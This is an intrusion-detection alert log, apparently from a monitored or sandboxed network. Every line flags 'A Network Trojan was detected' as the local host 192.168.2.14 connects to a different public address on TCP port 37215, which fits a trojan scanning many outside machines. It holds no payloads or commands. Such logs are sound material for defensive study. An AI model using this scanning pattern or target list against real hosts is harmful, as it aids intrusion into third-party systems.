2024-09-25T14:14:47.907525+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37980	156.18.192.245	37215	TCP
2024-09-25T14:14:47.923543+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52406	41.139.27.47	37215	TCP
2024-09-25T14:14:47.927118+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49820	41.62.184.97	37215	TCP
2024-09-25T14:14:47.928678+0200	2835222	1	A Network Trojan was detected	192.168.2.14	32886	41.212.141.92	37215	TCP
2024-09-25T14:14:47.928697+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43522	156.251.54.231	37215	TCP
2024-09-25T14:14:47.938632+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45472	156.216.176.0	37215	TCP
2024-09-25T14:14:47.940208+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59658	197.167.59.99	37215	TCP
2024-09-25T14:14:47.942355+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42324	41.196.7.100	37215	TCP
2024-09-25T14:14:48.906894+0200	2835222	1	A Network Trojan was detected	192.168.2.14	33616	41.13.242.126	37215	TCP
2024-09-25T14:14:48.906930+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55270	41.33.196.235	37215	TCP
2024-09-25T14:14:48.907298+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51604	197.89.121.177	37215	TCP
2024-09-25T14:14:48.907365+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34696	197.39.234.102	37215	TCP
2024-09-25T14:14:48.907420+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42150	156.225.45.70	37215	TCP
2024-09-25T14:14:48.907569+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56850	197.66.212.76	37215	TCP
2024-09-25T14:14:48.908142+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50562	197.66.37.45	37215	TCP
2024-09-25T14:14:48.908934+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48060	156.181.128.158	37215	TCP
2024-09-25T14:14:48.909014+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37832	156.94.130.72	37215	TCP
2024-09-25T14:14:48.909108+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37736	156.234.141.152	37215	TCP
2024-09-25T14:14:48.909184+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45812	156.239.3.244	37215	TCP
2024-09-25T14:14:48.922963+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35082	156.81.18.222	37215	TCP
2024-09-25T14:14:48.923057+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50012	197.162.20.115	37215	TCP
2024-09-25T14:14:48.923260+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51756	41.86.154.216	37215	TCP
2024-09-25T14:14:48.923552+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34908	41.199.44.130	37215	TCP
2024-09-25T14:14:48.923622+0200	2835222	1	A Network Trojan was detected	192.168.2.14	57370	197.225.21.22	37215	TCP
2024-09-25T14:14:48.926918+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39130	197.217.4.140	37215	TCP
2024-09-25T14:14:48.928710+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37648	156.236.249.253	37215	TCP
2024-09-25T14:14:48.940362+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45114	197.103.231.195	37215	TCP
2024-09-25T14:14:48.942744+0200	2835222	1	A Network Trojan was detected	192.168.2.14	32826	156.5.197.117	37215	TCP
2024-09-25T14:14:48.944349+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50324	41.231.47.126	37215	TCP
2024-09-25T14:14:48.944356+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41800	156.45.38.194	37215	TCP
2024-09-25T14:14:48.944366+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39926	156.203.208.6	37215	TCP
2024-09-25T14:14:48.973658+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48740	197.149.161.125	37215	TCP
2024-09-25T14:14:49.020679+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59814	197.212.249.59	37215	TCP
2024-09-25T14:14:49.073365+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38224	156.241.90.124	37215	TCP
2024-09-25T14:14:49.923205+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36472	197.141.193.242	37215	TCP
2024-09-25T14:14:49.938373+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55210	41.233.32.150	37215	TCP
2024-09-25T14:14:49.938732+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60628	197.198.142.167	37215	TCP
2024-09-25T14:14:49.939113+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56270	41.197.74.220	37215	TCP
2024-09-25T14:14:49.939213+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60550	156.225.218.158	37215	TCP
2024-09-25T14:14:49.939314+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44318	197.204.136.152	37215	TCP
2024-09-25T14:14:49.939509+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52650	41.217.237.46	37215	TCP
2024-09-25T14:14:49.939933+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37368	156.187.201.235	37215	TCP
2024-09-25T14:14:49.940800+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50806	197.78.143.131	37215	TCP
2024-09-25T14:14:49.940958+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53872	197.117.156.241	37215	TCP
2024-09-25T14:14:49.940967+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41022	41.156.111.157	37215	TCP
2024-09-25T14:14:49.942798+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39358	197.67.2.0	37215	TCP
2024-09-25T14:14:49.943180+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49698	41.84.144.155	37215	TCP
2024-09-25T14:14:49.943244+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43554	197.84.156.29	37215	TCP
2024-09-25T14:14:49.943408+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42866	197.135.138.40	37215	TCP
2024-09-25T14:14:49.943497+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59742	156.248.57.255	37215	TCP
2024-09-25T14:14:49.955255+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41288	41.51.35.238	37215	TCP
2024-09-25T14:14:49.955269+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59556	41.0.149.6	37215	TCP
2024-09-25T14:14:49.956306+0200	2835222	1	A Network Trojan was detected	192.168.2.14	32780	41.191.135.128	37215	TCP
2024-09-25T14:14:49.956318+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49938	156.170.145.195	37215	TCP
2024-09-25T14:14:49.956378+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51050	41.57.194.114	37215	TCP
2024-09-25T14:14:49.958075+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38768	41.79.119.224	37215	TCP
2024-09-25T14:14:49.958177+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38696	156.232.20.55	37215	TCP
2024-09-25T14:14:49.960058+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59130	156.158.105.241	37215	TCP
2024-09-25T14:14:49.960202+0200	2835222	1	A Network Trojan was detected	192.168.2.14	57342	197.183.125.169	37215	TCP
2024-09-25T14:14:49.960299+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43590	156.171.152.43	37215	TCP
2024-09-25T14:14:49.973639+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42544	156.234.253.235	37215	TCP
2024-09-25T14:14:49.974326+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39246	197.43.150.11	37215	TCP
2024-09-25T14:14:49.984891+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58478	41.130.77.93	37215	TCP
2024-09-25T14:14:49.985641+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48770	197.113.75.39	37215	TCP
2024-09-25T14:14:49.991198+0200	2835222	1	A Network Trojan was detected	192.168.2.14	33990	156.131.47.109	37215	TCP
2024-09-25T14:14:50.016848+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58634	41.107.245.221	37215	TCP
2024-09-25T14:14:50.048184+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46006	41.90.194.115	37215	TCP
2024-09-25T14:14:50.298367+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41926	156.133.226.216	37215	TCP
2024-09-25T14:14:50.313821+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35386	197.149.125.92	37215	TCP
2024-09-25T14:14:50.313985+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58780	41.191.205.246	37215	TCP
2024-09-25T14:14:50.314640+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58370	41.192.117.40	37215	TCP
2024-09-25T14:14:50.315410+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34300	41.18.29.74	37215	TCP
2024-09-25T14:14:50.315954+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55792	41.219.173.139	37215	TCP
2024-09-25T14:14:50.317660+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39656	197.62.26.28	37215	TCP
2024-09-25T14:14:50.329532+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59048	197.31.95.124	37215	TCP
2024-09-25T14:14:50.333248+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51722	156.220.22.110	37215	TCP
2024-09-25T14:14:50.348708+0200	2835222	1	A Network Trojan was detected	192.168.2.14	33930	156.13.166.230	37215	TCP
2024-09-25T14:14:50.350762+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53898	41.9.140.39	37215	TCP
2024-09-25T14:14:50.938316+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56492	41.98.106.247	37215	TCP
2024-09-25T14:14:50.938622+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42652	41.119.211.219	37215	TCP
2024-09-25T14:14:50.938658+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38024	197.134.95.236	37215	TCP
2024-09-25T14:14:50.954208+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48264	197.124.53.141	37215	TCP
2024-09-25T14:14:50.954485+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48432	197.142.4.242	37215	TCP
2024-09-25T14:14:50.954491+0200	2835222	1	A Network Trojan was detected	192.168.2.14	33964	197.23.218.89	37215	TCP
2024-09-25T14:14:50.954493+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49924	41.34.28.21	37215	TCP
2024-09-25T14:14:50.954990+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53010	197.52.64.150	37215	TCP
2024-09-25T14:14:50.956056+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60926	156.15.229.166	37215	TCP
2024-09-25T14:14:50.956079+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48954	197.163.1.4	37215	TCP
2024-09-25T14:14:50.969723+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40818	156.105.125.145	37215	TCP
2024-09-25T14:14:50.969831+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53736	156.240.45.175	37215	TCP
2024-09-25T14:14:50.969867+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43352	156.99.199.8	37215	TCP
2024-09-25T14:14:50.970050+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54524	41.199.199.160	37215	TCP
2024-09-25T14:14:50.970123+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50156	197.74.218.71	37215	TCP
2024-09-25T14:14:50.970463+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42848	197.251.62.7	37215	TCP
2024-09-25T14:14:50.970482+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49594	197.165.193.4	37215	TCP
2024-09-25T14:14:50.970533+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52138	197.84.55.128	37215	TCP
2024-09-25T14:14:50.970533+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35648	41.249.188.230	37215	TCP
2024-09-25T14:14:50.970547+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36956	41.229.210.177	37215	TCP
2024-09-25T14:14:50.970721+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40060	156.172.193.46	37215	TCP
2024-09-25T14:14:50.970775+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59736	156.232.193.116	37215	TCP
2024-09-25T14:14:50.971125+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36706	156.181.223.109	37215	TCP
2024-09-25T14:14:50.971488+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41070	41.137.147.229	37215	TCP
2024-09-25T14:14:50.971573+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52832	156.41.196.219	37215	TCP
2024-09-25T14:14:50.971760+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43960	156.93.5.52	37215	TCP
2024-09-25T14:14:50.972312+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47390	41.47.34.165	37215	TCP
2024-09-25T14:14:50.973831+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41852	156.40.192.176	37215	TCP
2024-09-25T14:14:50.983236+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58134	156.38.30.116	37215	TCP
2024-09-25T14:14:50.983237+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50844	156.81.68.0	37215	TCP
2024-09-25T14:14:50.983317+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50632	197.95.136.237	37215	TCP
2024-09-25T14:14:50.983322+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60278	156.25.22.251	37215	TCP
2024-09-25T14:14:50.983340+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45334	197.216.198.88	37215	TCP
2024-09-25T14:14:50.983400+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36168	156.138.131.129	37215	TCP
2024-09-25T14:14:50.983576+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37536	41.83.219.54	37215	TCP
2024-09-25T14:14:50.985586+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56838	41.83.24.63	37215	TCP
2024-09-25T14:14:50.989268+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38784	197.17.187.114	37215	TCP
2024-09-25T14:14:50.989637+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35782	41.233.172.226	37215	TCP
2024-09-25T14:14:50.991134+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49102	41.43.237.174	37215	TCP
2024-09-25T14:14:50.991471+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55370	156.47.117.154	37215	TCP
2024-09-25T14:14:50.991511+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34910	156.30.61.21	37215	TCP
2024-09-25T14:14:51.006681+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37756	41.20.79.26	37215	TCP
2024-09-25T14:14:51.018224+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54120	197.210.249.44	37215	TCP
2024-09-25T14:14:55.364466+0200	2835222	1	A Network Trojan was detected	192.168.2.14	57860	41.125.213.101	37215	TCP
2024-09-25T14:14:55.407449+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39748	41.227.241.60	37215	TCP
2024-09-25T14:14:55.469802+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56150	197.128.9.85	37215	TCP
2024-09-25T14:14:55.548299+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35064	156.194.13.151	37215	TCP
2024-09-25T14:14:55.585372+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37634	197.0.153.138	37215	TCP
2024-09-25T14:14:55.719626+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45704	156.191.118.198	37215	TCP
2024-09-25T14:14:55.721750+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55068	41.4.251.28	37215	TCP
2024-09-25T14:14:55.850871+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39128	156.172.19.200	37215	TCP
2024-09-25T14:14:55.860814+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53542	41.149.114.6	37215	TCP
2024-09-25T14:14:56.188886+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51472	197.71.199.32	37215	TCP
2024-09-25T14:14:57.206616+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52888	197.14.123.207	37215	TCP
2024-09-25T14:14:57.235920+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51052	197.56.13.125	37215	TCP
2024-09-25T14:14:57.251637+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53306	41.129.172.123	37215	TCP
2024-09-25T14:14:57.251940+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42574	156.76.171.250	37215	TCP
2024-09-25T14:14:57.252023+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46034	197.51.153.39	37215	TCP
2024-09-25T14:14:57.252219+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49708	156.91.181.215	37215	TCP
2024-09-25T14:14:57.253054+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51808	41.191.62.120	37215	TCP
2024-09-25T14:14:57.253208+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38898	197.31.123.253	37215	TCP
2024-09-25T14:14:57.268924+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43276	41.81.148.253	37215	TCP
2024-09-25T14:14:57.269063+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47774	156.76.63.3	37215	TCP
2024-09-25T14:14:57.270764+0200	2835222	1	A Network Trojan was detected	192.168.2.14	33646	197.129.248.125	37215	TCP
2024-09-25T14:14:57.272936+0200	2835222	1	A Network Trojan was detected	192.168.2.14	33528	197.53.101.66	37215	TCP
2024-09-25T14:14:57.284597+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48092	41.157.230.248	37215	TCP
2024-09-25T14:14:57.286463+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38416	197.70.32.23	37215	TCP
2024-09-25T14:14:57.288363+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45692	41.152.220.25	37215	TCP
2024-09-25T14:14:57.349372+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37170	41.143.106.109	37215	TCP
2024-09-25T14:14:57.364552+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41394	156.213.155.166	37215	TCP
2024-09-25T14:14:58.220193+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53664	197.174.74.70	37215	TCP
2024-09-25T14:14:58.220201+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43294	197.233.85.180	37215	TCP
2024-09-25T14:14:58.220217+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59542	41.56.222.112	37215	TCP
2024-09-25T14:14:58.220238+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51952	41.92.84.230	37215	TCP
2024-09-25T14:14:58.221631+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53896	197.168.92.141	37215	TCP
2024-09-25T14:14:58.221927+0200	2835222	1	A Network Trojan was detected	192.168.2.14	33850	41.207.118.218	37215	TCP
2024-09-25T14:14:58.223977+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55590	156.11.56.183	37215	TCP
2024-09-25T14:14:58.224428+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49234	197.55.144.242	37215	TCP
2024-09-25T14:14:58.237876+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59310	156.21.226.48	37215	TCP
2024-09-25T14:14:58.239526+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45794	197.21.69.166	37215	TCP
2024-09-25T14:14:58.255367+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58226	41.218.94.217	37215	TCP
2024-09-25T14:14:58.266962+0200	2835222	1	A Network Trojan was detected	192.168.2.14	57224	156.212.26.232	37215	TCP
2024-09-25T14:14:58.286476+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38720	197.2.54.37	37215	TCP
2024-09-25T14:14:58.286592+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52692	156.240.7.173	37215	TCP
2024-09-25T14:14:58.361544+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47194	41.183.202.234	37215	TCP
2024-09-25T14:14:58.376590+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45042	197.216.2.19	37215	TCP
2024-09-25T14:14:59.267202+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39788	41.37.153.163	37215	TCP
2024-09-25T14:14:59.282858+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52530	41.185.219.40	37215	TCP
2024-09-25T14:14:59.282869+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47518	156.119.193.85	37215	TCP
2024-09-25T14:14:59.318106+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34490	197.102.215.224	37215	TCP
2024-09-25T14:14:59.330476+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45778	197.12.87.128	37215	TCP
2024-09-25T14:14:59.407051+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55564	197.135.126.192	37215	TCP
2024-09-25T14:14:59.407693+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60906	41.100.42.27	37215	TCP
2024-09-25T14:14:59.413157+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40134	41.201.61.51	37215	TCP
2024-09-25T14:14:59.423302+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37724	41.164.133.16	37215	TCP
2024-09-25T14:14:59.423706+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55528	156.207.120.57	37215	TCP
2024-09-25T14:14:59.427045+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46226	197.52.161.225	37215	TCP
2024-09-25T14:14:59.427138+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47440	197.73.251.112	37215	TCP
2024-09-25T14:14:59.503255+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35556	197.238.88.141	37215	TCP
2024-09-25T14:14:59.532624+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42412	156.150.206.133	37215	TCP
2024-09-25T14:15:00.349168+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58908	156.11.213.60	37215	TCP
2024-09-25T14:15:00.407868+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55686	156.33.19.186	37215	TCP
2024-09-25T14:15:00.517081+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48454	41.120.99.251	37215	TCP
2024-09-25T14:15:01.284368+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53336	156.252.141.191	37215	TCP
2024-09-25T14:15:01.314669+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56310	197.210.88.170	37215	TCP
2024-09-25T14:15:01.317986+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49634	197.115.109.64	37215	TCP
2024-09-25T14:15:02.361374+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54440	41.135.90.165	37215	TCP
2024-09-25T14:15:02.458410+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37384	156.245.225.208	37215	TCP
2024-09-25T14:15:02.923785+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49728	41.175.242.229	37215	TCP
2024-09-25T14:15:04.505417+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39832	41.140.180.238	37215	TCP
2024-09-25T14:15:05.538527+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34266	197.216.10.0	37215	TCP
2024-09-25T14:15:06.407766+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35900	197.11.38.73	37215	TCP
2024-09-25T14:15:08.423215+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34478	41.101.159.171	37215	TCP
2024-09-25T14:15:08.423404+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59170	197.176.62.220	37215	TCP
2024-09-25T14:15:08.423477+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55588	41.116.251.198	37215	TCP
2024-09-25T14:15:08.423573+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54188	197.0.64.57	37215	TCP
2024-09-25T14:15:08.423750+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41552	197.236.251.243	37215	TCP
2024-09-25T14:15:08.424206+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43880	41.91.89.222	37215	TCP
2024-09-25T14:15:08.439154+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59364	41.119.5.187	37215	TCP
2024-09-25T14:15:08.439322+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53654	156.116.201.206	37215	TCP
2024-09-25T14:15:08.442758+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50126	197.175.138.122	37215	TCP
2024-09-25T14:15:08.475922+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45656	41.45.161.209	37215	TCP
2024-09-25T14:15:08.489779+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58628	156.11.104.117	37215	TCP
2024-09-25T14:15:10.471543+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44308	156.25.87.187	37215	TCP
2024-09-25T14:15:10.554161+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56386	156.216.130.118	37215	TCP
2024-09-25T14:15:11.533656+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56482	41.81.164.7	37215	TCP
2024-09-25T14:15:12.572309+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40634	197.4.70.151	37215	TCP
2024-09-25T14:15:13.782935+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60500	156.103.99.205	37215	TCP
2024-09-25T14:15:13.798604+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59774	156.181.31.148	37215	TCP
2024-09-25T14:15:13.798628+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54914	156.137.108.124	37215	TCP
2024-09-25T14:15:13.798663+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52466	197.57.51.7	37215	TCP
2024-09-25T14:15:13.799086+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40764	41.105.134.1	37215	TCP
2024-09-25T14:15:13.799127+0200	2835222	1	A Network Trojan was detected	192.168.2.14	57260	197.16.212.100	37215	TCP
2024-09-25T14:15:13.799175+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60230	197.86.70.147	37215	TCP
2024-09-25T14:15:13.799235+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47366	156.208.251.234	37215	TCP
2024-09-25T14:15:13.800034+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34170	156.217.107.108	37215	TCP
2024-09-25T14:15:13.800132+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39586	156.13.72.236	37215	TCP
2024-09-25T14:15:13.800252+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50798	41.231.135.23	37215	TCP
2024-09-25T14:15:13.800419+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35232	197.137.42.47	37215	TCP
2024-09-25T14:15:13.804071+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37798	197.222.1.160	37215	TCP
2024-09-25T14:15:13.814020+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59216	41.247.103.252	37215	TCP
2024-09-25T14:15:13.815738+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35714	156.148.233.33	37215	TCP
2024-09-25T14:15:13.833862+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40488	41.11.137.183	37215	TCP
2024-09-25T14:15:16.829984+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59716	197.106.9.168	37215	TCP
2024-09-25T14:15:16.829994+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60708	41.213.215.221	37215	TCP
2024-09-25T14:15:16.862769+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59138	197.58.53.15	37215	TCP
2024-09-25T14:15:16.864809+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43452	156.46.29.246	37215	TCP
2024-09-25T14:15:16.866633+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50804	197.107.183.30	37215	TCP
2024-09-25T14:15:16.866693+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36944	41.234.24.231	37215	TCP
2024-09-25T14:15:17.190187+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56802	197.7.115.15	37215	TCP
2024-09-25T14:15:17.190855+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39762	41.57.90.147	37215	TCP
2024-09-25T14:15:18.931476+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41998	197.247.239.148	37215	TCP
2024-09-25T14:15:18.931484+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55758	197.149.97.5	37215	TCP
2024-09-25T14:15:18.931488+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42926	156.175.213.215	37215	TCP
2024-09-25T14:15:18.931498+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36112	197.193.7.152	37215	TCP
2024-09-25T14:15:18.931500+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40248	197.140.221.133	37215	TCP
2024-09-25T14:15:18.931515+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46314	41.89.220.237	37215	TCP
2024-09-25T14:15:18.931522+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46584	41.16.24.197	37215	TCP
2024-09-25T14:15:18.932342+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51226	41.24.91.57	37215	TCP
2024-09-25T14:15:18.932351+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35504	41.92.23.198	37215	TCP
2024-09-25T14:15:18.932351+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34452	197.47.141.171	37215	TCP
2024-09-25T14:15:19.191312+0200	2835222	1	A Network Trojan was detected	192.168.2.14	57486	197.23.119.125	37215	TCP
2024-09-25T14:15:19.205322+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60556	41.131.77.42	37215	TCP
